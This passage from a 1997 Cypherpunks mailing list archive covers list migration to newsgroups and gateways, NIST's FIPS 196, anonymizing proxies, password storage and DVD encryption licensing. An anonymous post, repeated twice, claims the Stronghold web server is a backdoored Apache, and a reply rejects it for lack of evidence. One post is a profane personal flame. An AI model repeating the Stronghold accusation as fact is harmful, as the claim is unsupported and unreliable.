of messages will be available to all comers for their own projects, which may
include mail-news gateways, archives, filtered lists, and so forth(*). People
who send messages to the list shouldn't expect that they'll have any
"privacy" in information sent there. 

(* Modulo copyright, but apparently the industry standards for copyright
issues are:

1.	Ignore them and hope they go away
2.	Pretend to seize control over IP rights of everything posted

neither of which works very well or makes any sense, legally speaking.)

For what it's worth, the list has been gated to two public newsgroups -
albeit not in the Big 7 or alt. - for quite some time. If you think your name
isn't on Usenet, and you've been sending messages to the list, think again.


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 17:42:45 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702180107.TAA10923@manifold.algebra.com>
Message-ID: <19970218014256.29119.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks-raw@nceye.net
   Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST)
   Cc: cypherpunks@toad.com, wcampbel@peganet.com
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Mark M. wrote:
   >  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
   > 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

   ... Along with several others.

   >  - The distributed list is still forming and so far consists of
   > 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
   > 	do not know the location.  A mail<->news gateway is planned, but not
   > 	yet in place, between the distributed list and the newsgroup(s).

   It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
   reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
   newsserver offering several cypherpunks newsgroups.

   I am not yet sure if taz is now a part of the mainstream usenet, that 
   is, it may not be connected to the Big USENET.

It receives some Big Usenet groups, but only for local users.
alt.cypherpunks is open, but there will be long delays, on the
order of a day, for articles there (unless someone better connected to
Usenet wants to feed me alt.cypherpunks.*---any volunteers?).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 17 Feb 1997 23:54:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <199702180754.XAA19557@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information (such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 18 Feb 1997 00:12:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <199702180812.AAA20386@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information (such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 20:24:04 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu>
Message-ID: <19970218042417.32658.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Mon, 17 Feb 1997 22:55 EDT
   From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>



	   Well, Lance Cottrell would appear to be a good person to ask
   on this matter, but...

   >I just set up a recipe for using mail2news gateways like this:

   >:0 c
   >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
   >	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

   >Any objections?

   given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
   cyberpass.net, it would appear to be unnecessary if this recipe is in
   use. However, I do have one problem with this recipe: lack of
   loop prevention if a news2mail gateway is going in the other direction.

All the mailing-list hosts are supposed to check for duplicates before
forwarding anything, so this shouldn't do anything worse than have a
few extra copies of each post get discarded, loading the network and
the hosts a bit more.  But posting the list to a widely-distributed
newsgroup seems wrong for noise (both to the list itself and to
posters) and delay reasons.

    (I've crossposted this message to the remailer-operators
   mailing list to make sure it gets to the operators of the gateways in
   question.)



   In regards to your later query about whether people want their postings
   going to Usenet, might I suggest that this be individual to the given
   distributed mailing list? In other words, since the recipe is logically
   going to have to not forward to a gateway messages from other mailing
   lists (since it's not a good idea to have multiple copies of the same
   message arriving at the gateway if it can be helped; better to filter
   it out beforehand),

It doesn't seem an especially bad idea, since it 

   some of the mailing lists can forward and the
   others cannot. (One could even determine this behavior on application
   of the proper X-header, although I never trust various mailing systems
   to forward such intact.) The same could also be done with gatewaying
   _from_ Usenet - if the news2mail gateway feeds to whatever individual
   lists sign up to it and they _don't_ forward such messages to others,
   people can decide whether or not to receive Usenet postings on
   alt.cypherpunks.* by which list they subscribe to.
	   -Allen

   P.S. A thank you to Reece for setting up a gateway; I had looked
   at the program and did _not_ much like the idea of having to
   maintain it on my limited knowledge of C/C++ and mailing
   software.

The code currently running is a perl script that turns typical email
messages into something INN is happy with.  It is probably possible to
get your message rejected by INN if you put obsolete or otherwise
unusual and illegal headers in.  This may be a bug.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 01:44:39 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Security alert!!!
In-Reply-To: <199702180812.AAA20386@sirius.infonex.com>
Message-ID: <0n2LbN200YUe0Bfzc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

winsock@rigel.cyberpass.net (WinSock Remailer) writes:
> WARNING: There's a rogue trojan horse out there on the internet known as the
> "stronghold web server".  It's actually a hacked-up version of Apache with a
> backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
> card numbers and other confidentil information on the Internet.
> 
> Be careful! Always use encryption. Do not send confidential information (such
> as passwords and credit card numbers) to any site running the trojan horse
> "stronghold". 
> 
> In general, beware of "snake oil" security products and hacked-up versions of
> free software.

ObTheSolutionToBadSpeechIsMoreSpeech:
Please provide evidence for your wild claims. You have no reputation
capital, the makers of Stronghold have quite a bit, in my mind.
(Except maybe in their moderation policies :-) I do not belive your
claims for a minute. Again, please provide a description of the
exploit or source code that compiles into a binary identical to that
in the Stronghold distribution as evidence of your claims. Alternatly,
crawl back in to your hole and die.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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abONhhlYeLF+cDDpZTJIENWzhN4hhzpE
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 18 Feb 1997 03:45:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
In-Reply-To: <330901F3.750E@gte.net>
Message-ID: <Pine.LNX.3.95.970218064353.20413B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Dale Thorn wrote:

> Date: Mon, 17 Feb 1997 17:12:19 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Cypherpunks FAQ
> 
> Toto wrote:
> > ISP_Ratings wrote:
> > >   Yes--and given the role Dr. Vulis has played in this matter
> > > it would be most appropriate for him to write an FAQ (although
> > > I personally ignore most FAQs).
> 
> >Perhaps it would be more appropriate for the good doctor to write a FUQs.
> 
> Why not do it like the Declaration of Independence?  A primary author
> puts the basic document together, and other persons with expertise in
> other important areas add to it, then it gets circulated on the list
> for comments and suggestions.
> 
> "Other areas" not normally addressed in these kinds of documents
> should include subscribers' awareness that the crypto lists are
> a prime target of attention from federal agencies, et al, and
> that much of the material posted could be pure disinformation.
> 

I do not think that any Federal Agency would be interested in any
group so undisciplined as cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 04:32:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS 196
Message-ID: <1.5.4.32.19970218122630.006e144c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: edgarswank@juno.com (Edgar W Swank)
Date: Tue, 18 Feb 1997 07:38:09 -0800 (PST)
To: Cypherpunks          <cypherpunks@toad.com>
Subject: Any more like www.anonymizer.com ??
Message-ID: <19970218.073526.2862.2.edgarswank@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a list of web proxies for anonymous surfing?

I already know about www.anonymizer.com, and there was a
"canadianizer" that would alter text to make it more "Canadian",
but that is now apparently defunct.

Reason I need to know, a friend in a foreign country has to deal
with a web proxy that blocks "objectionable" sites including
www.anonymizer, so some alternates that might not be blocked
would be welcome.

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <Edgar_W._Swank@ilanet.org>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 06:57:00 -0800 (PST)
To: drose@azstarnet.com
Subject: Drose / You're a fucking idiot!
In-Reply-To: <199702180439.VAA24310@web.azstarnet.com>
Message-ID: <3309D570.4148@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

  I generally try to be fairly civil in my postings, and refrain from
personal insults, but I will make an exception, here.
  So listen up, shit-for-brains, and I will try to explain a few concepts
that you seem to be too dim-witted to understand.

  I am a CypherPunk.
  I have a <Delete> key, and I know how to use it.
  When my personal account is subjected to spam-attacks and unwanted
subscriptions to a multitude of lists, I deal with it. I don't make
baseless accusations against others based on their perceived public
reputation, or my own subjective perception of their reputation
capital.

  I am not just a CypherPunk, I am also an adult.
  I take responsibility for my own actions, and I keep those actions
within the bounds of what I perceive to be acceptable ethics and
personal integrity.
  If you think that I am responsible for this-or-that action in regard
to yourself, then all you have to do is ask me, and I will tell you. I
don't make any bones about my beliefs and views, and I don't have any
problem with others opposing my beliefs and views.
  When I launch an attack on someone, right or wrong, it is a frontal
assault, not a hidden one. When I post anonymously to the list, or
send anonymous email, I do not use remailers, in order that anyone
with the will and wit to do so may easily discern my pseudonyms through
the headers and use of the 'trace' command.

  If you think that I am the source of your problems, then you are a
fucking idiot.
  I have no idea who you are, and can only vaguely recall the content
or context of your past posts to the list. As such, I would certainly
have little motivation for lifting even my little pinkie against you
in a conspiratorial attack on you.
  I would suggest that the only 'fixations' involved between you and
myself are coming from your end of the electromagnetic spectrum. I would
also suggest that you get your head out of your electromagnetic rectum.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 08:16:01 -0800 (PST)
To: Alan Barrett <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net>
Message-ID: <v03007800af2f876176ce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 PM +0200 2/18/97, Alan Barrett wrote:
>On 18 Feb 1997, Bryan Reece wrote:
>> Filtering out other gateways' messages will reduce load at
>> the possible expense of delay (assuming a smallish network of news
>> servers that feed each other the list; obviously the message will
>> flood the majordomo net before it floods the real usenet unless
>> something is seriously broken).
>
>Why is it obvious that mail propagation will be faster than news
>propagation?  News propagation times of small numbers of seconds are not
>at all uncommon.

News propagation in seconds to your _local server_, or to _distant_
servers? Articles I post do indeed appear "immediately" on my local site,
but certainly not so immediately on distant sites.

The Usenet is thousands of news servers, maybe tens of thousands, and news
feeds take a while...small articles are mixed in with hundreds of megabytes
a day of binaries. A percolation process, as opposed to a point-to-point
process for e-mail.

And I know that my site sometimes does not see articles for tens of hours,
even days, after the initial act of distribution. (Sometimes articles
appear more than a week late...presumably they've been lost to mu site on
some railroad siding someplace.)

This is why people say "News is slower than mail."

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 18 Feb 1997 09:33:18 -0800 (PST)
To: Vin McLellan <tcmay@got.net
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181541.HAA06067@toad.com>
Message-ID: <v03101601af2f9708b712@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


>>(And I always thought the "woman's right to privacy" argument for abortion
>>was flaky. Accepting such an argument, wouldn't infanticide be equally
>>protected by a woman's right to privacy?)
>>
>>--Tim May
>
>	Whoa! This begs a thoughful response, but I don't have time right
>now.  Might it suffice to suggest that a privacy claim -- a demand for
>control over what concerns her, her alone, or (on balance) her more than
>any other -- seems reasonable to extend to both contraception and early
>abortion?  For many of us, by the same logic, and with the same moral
>comfort.
>
[ more discussion of abortion snippped. ]
>	To my mind, any attempt to control what is done to the woman's body
>(by her choice) while the prospective child is but a bit of enhanced
>potential, much much less than a viable child, is an unconstitutional and
>morally-invalid attempt by others (the state, the church, the country club)
>to pre-empt her will, and prescribe or dictate a wholly new value system
>for her.
>
>         Vin McLellan + The Privacy Guild + <vin@shore.net>
>      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548

Let's not start this.

Tim wasn't arguing for or against abortion; he made no comments
about abortion. His comment was that the _argument_ used to "legalize"
abortion was unconvincing to him.

If we are going to discuss privacy, that's fine.
It we are going to discuss abortion, there are better fora.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Tue, 18 Feb 1997 07:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: ##$!@#$#@!$#
Message-ID: <199702181555.JAA20595@enteract.com>
MIME-Version: 1.0
Content-Type: text



cual es la fecha?

czesc, tak mal na dodjze kajka....



-- 



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 07:06:09 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702172056.MAA13555@toad.com>
Message-ID: <v03007800af2f62a4e7fd@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



>(And I always thought the "woman's right to privacy" argument for abortion
>was flaky. Accepting such an argument, wouldn't infanticide be equally
>protected by a woman's right to privacy?)
>
>--Tim May

	Whoa! This begs a thoughful response, but I don't have time right
now.  Might it suffice to suggest that a privacy claim -- a demand for
control over what concerns her, her alone, or (on balance) her more than
any other -- seems reasonable to extend to both contraception and early
abortion?  For many of us, by the same logic, and with the same moral
comfort.

	(As the clock slips onward, and the potential viability of the
fetus becomes more likely or certain, I personally believe the woman no
longer exists alone, and the privacy argument becomes conflicted and more
tenuous.   But Tim's golem, Infanticide, is a creature of nightmare --
wholly beyond the pale!)

	To my mind, any attempt to control what is done to the woman's body
(by her choice) while the prospective child is but a bit of enhanced
potential, much much less than a viable child, is an unconstitutional and
morally-invalid attempt by others (the state, the church, the country club)
to pre-empt her will, and prescribe or dictate a wholly new value system
for her.

	Any claim (by the father, the state, the church, etc.) to control
what happens in the moments or days after conception (say, forbidding
RU-whatever, the French drug,) has no more moral authority than any similar
claim to Higher Authority -- to safeguard the potential within her --
which is used to forbid his or her the use of a contraceptive, or which
requires him or her to take a drug which makes multiple pregnancies more
likely.

	I always thought the Jesuits had the logical argument straight.  If
the woman has no inherent right to control her destiny in the languid
aftermath of intercourse (just because she has within herself the potential
of a new life) then she has no claim to self-possession which allows her to
use a contraceptive just before intercourse.  If it is the potential for
new life that allows external authorities to overwhelm her judgment and
violate her privacy, then the case for that Papal Judgement exists before,
during, and after sex.

	Problem is: while logical, the Catholic argument seems silly,
authoritarian, and hopelessly abstract in the face of what many of us
experience as a less dogmatic and vastly more human context. A context in
which the right to privacy or self-possession seems inherent in the people
we are, the people we know, the world as we live it.  (Jesuits have a
certain disadvantage, from this POV;-)

	The fact that this claim of privacy or self-possession apparently
has an echo in the US Constitution (that oh, so-prescient document!) -- and
in the libertarian/liberal proclamations of numerous other nation states --
is a validation, a confirmation... but the Right of privacy, the Claim, is
inherent in our sense of who we are, and our sense of what an individual
is.

	If the philosophers had not considered it in their musings, we
would have to fight harder; we would need to define it as well as defend it
-- but it can only be denied if we denied ourselves, as the serfs of the
Dark Ages were expected to... and did.

	Women as vessels.  Men as vassals.

	Suerte,
		_Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 07:21:48 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Raph
Message-ID: <3.0.1.32.19970218102257.006c3a48@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have found it convenient to retrieve Raph's list off c'punks, as opposed to
fingering. I do hope this service to the community will continue on one forum
or another.

Thanks.

Alec

 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 08:15:22 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: alt.cypherpunks.ebonics
Message-ID: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Igor,

A friend, who, in the CP tradition requested to remain anonymous, and I were
doing an informal analysis of those subjects/topics which over the past year
generated the most discussion and, by implication, interest on the CP list.
Since the list at that time was reportedly unmoderated, we felt some weight
should be given to members' interests/desires as measured by their posts,
regardless of the applicability to the list topic.

With the exceptions of AP (oh so clearly way off-topic), list censorship (too
tedious),  and remarks either questioning or affirming the
sexuality/virility/femininity (or lack thereof ) of almost every CP
subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed
to touch on several layers of CP interest: freedom of speech, obfuscation,
tolerance, intolerance, phonetics, linguistics, race warfare,  etc. You name
it; just about every well-known c'punk jumped in to make some urbane
statement on this, sadly, now dead and  ignored issue. Nevertheless, the
bandwidth was there!  

Note; any messages followed by Punctuation Art were excluded if they seemed
to lack "dignity," for want of a better word.

Based on the above stats (available from my friend on request), my anonymous
friend and I request that you add Ebonics as an area of interest to
Cypherpunks in your List Intro.

Please judge this request on its merit and not on what you may think of me or
my anonymous (asexual) friend personally, thereby, by that very action,
initiating a New Order of Cypherpunks!

Thanks for you consideration.

More importantly, thank you for helping to keep this vibrant list alive.

Alec (and friend)
-----BEGIN PGP SIGNATURE-----
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request or from keyservers.

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7UoISphHlxs8PScnxkw6PQsVHerd+FnxPJQ2xAnCa1gUujxuif8OrsYpInVcfEap
99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt
3N7reRPx6Hs=
=EMeF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Tue, 18 Feb 1997 08:30:01 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz>
Message-ID: <199702181629.LAA10709@waterville.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 18 Feb 1997 11:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting question: how to safely keep passwords online
Message-ID: <199702181940.LAA24732@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's a question that's been on my mind lately:  Often, you like
to keep external passwords stored on your personal computer.  As a quick
example, Eudora will remember your POP password for you so you don't
have to enter it every time.  Obviously, Eudora keeps this on disk
somewhere.

The question is: is there any (relatively) safe way to do this?  Obviously,
Eudora encrypt the saved password with some secret key, but this key could
probably be found by examining the code.  A slight improvement would
be for Eudora to generate an encryption key on the fly based on some
external system state, but this is also susceptible to reverse-engineering.

	-ed falk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 12:22:18 -0800 (PST)
To: Vin McLellan <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181951.OAA12558@relay1.shore.net>
Message-ID: <v03007803af2fc071dec3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:51 PM -0500 2/18/97, Vin McLellan wrote:
>      Marshall Clow wrote:
>
>>Let's not start this.... <snip>
>
>>If we are going to discuss privacy, that's fine.
>>It we are going to discuss abortion, there are better fora.
>
>          Right, Marshall. I was attempting to respond directly to Tim's
>comment, but I too have no desire to let the end of C'punks be yet another
>sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
>response roll over me;-).

Then why did you begin an abortion debate?

I made no claims one way or another about abortion, but cited the issue as
the main place the "right to privacy" issue has come to the fore. And I
said I found the argument uncompelling. I did not say I was against
abortion, for abortion, or, for that matter, for or against infanticide.

>        (Jeeze! Anyone else feel like these are the Final Days, like when a
>company goes bankrupt, or graduation day or the like??  I hope one of these
>C'punkish alternatives will provide an opportunity for some of the same
>thoughtful and stimulating engagements that toad.com hosted.)

Unsurprisingly, I've gotten some of the messages from folks I often get
when people dislike some post I've made. They go like this:

"Tim, I really like some of your posts. But, Jeez, give it a rest on
foobar! Can't you go back to writing about lahdidah?"

In other words, the reader wishes I would write only about what he or she
is interested in. Well, pay me my consulting rate and I'll do just that.

I've written many thousands of articles over the past 4.5 years...some of
them very long articles, some very short, most of medium length. (I despise
one-line repartee, and I'm glad our list has never fallen into this mode as
so many other lists have.)

I write about what I find interesting. You all know where the Delete key is.

(Of course, a fairly large fraction of my recent posts have been deleted
for you by Sandy, who sends many of my posts to neither the Main list nor
the Flames list. Bet a lot of you didn't know this, did you?)

--Tim May



>       Respect to all, pro-choice and pro-life,
>
>                _Vin


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 18 Feb 1997 13:15:46 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <v03010d08af2fc4dd4c35@[17.219.102.16]>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eickfarm@alpha.shianet.org (eickfarm)
Date: Tue, 18 Feb 1997 10:16:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <9702181815.AA19487@alpha>
MIME-Version: 1.0
Content-Type: text/plain


>Return-Path: <owner-cypherpunks@toad.com>
>Date: Tue, 11 Feb 1997 03:22:32 -0500 
>From: harka@nycmetro.com
>To: cypherpunks@toad.com
>Subject: Military/Intelligence URL
>Sender: owner-cypherpunks@toad.com
>Precedence: bulk
>X-UIDL: b0eef8d389443636415db00da7508d3f
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Here an page, that deals with various intelligence and military
>institutions...
>
>
> In> Subject: GOVT> AJAX, Government and Military Intelligence
>
> In> http://204.180.198.56:80/ajax/ajax.htm
>
> In> United States and International Government Military and Intelligence
> In> Agency Access
>
> In> Certain Locations Or Sections Thereof May Be Closed To
> In> Unauthorized Use.
> In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
> In> (If You Prefer A Frameless Environment, Click HERE.)
> In> Last update: 7 FEBRUARY 1997. All accesses verified at
> In> time of inclusion.
>
> In> CIA                  Central Intelligence Agency
> In> DIA                  Defense Intelligence Agency
> In> NRO                  National Reconnaissance Office
> In> NSA                  National Security Agency
> In> SS                   Secret Service
> In> USCSOI               U.S. Customs Service Office of Investigation
>
> In> ATF                  Bureau of Alcohol, Tobacco and Firearms
> In> BOP                  Federal Bureau of Prisons
> In> CID                  U.S. Army Criminal Investigation Command
> In> COURTS               U.S. Federal Courts
> In> FBI                  Federal Bureau of Investigation
> In> FINCEN               Financial Crimes Enforcement Network
> In> FLETC                Federal Law Enforcement Training Center
> In> MARSHALS             U.S. Marshals Service
> In> NIJ                  National Institute of Justice
> In> ACC                  Air Combat Command
> In> AFSPC                Air Force Space Command
> In> BMDO                 Ballistic Missile Defense Organization
> In> DEFENSE              Defense Department
> In> DISA                 Defense Information Systems Agency
> In> DRMS                 Defense Reutilization and Marketing Service
> In> DTIC                 Defense Technical Information Center
> In> JCS                  Joint Chiefs of Staff
> In> NAVWAN               Naval Aviation Systems Team Wide Area Network
> In> NAWCWPNS             Naval Air Warfare Center Weapons Division
> In> NSWC                 Naval Surface Warfare Center
> In> USAFA                United States Air Force Academy
>
> In> AHPCRC               Army High Performance Computing Research Center
> In> ARPA                 Advanced Research Projects Agency
> In> LABLINK              U.S. Department of Defense Laboratory System
> In> NRL                  The Naval Research Laboratory RL
> In> USAF                 Rome Laboratory for C41 Technology
> In> USACIL               U.S. Army Criminal Investigation Laboratory
>
> In> NATGUARD             Army and Air National Guards
> In> USA                  United States Army
> In> USAF                 United States Air Force
> In> USCG                 United States Coast Guard
> In> USMC                 United States Marine Corps
> In> USN                  United States Navy
>
> In> EPA                  U.S. Environmental Protection Agency
> In> FAA                  Federal Aviation Administration Technical Center
> In> FCC                  Federal Communications Commission
> In> FTC                  Federal Trade Commission
> In> NMFS                 National Marine Fisheries Service
> In> NRC                  Nuclear Regulatory Commission
> In> SEC                  Securities and Exchange Commission
> In> CDC                  Centers for Disease Control and Prevention
> In> CENSUS               U.S. Department of Commerce Bureau of the Census
> In> CONGRESS             U.S. House of Representatives
> In> CUSTOMS              U.S. Customs Service
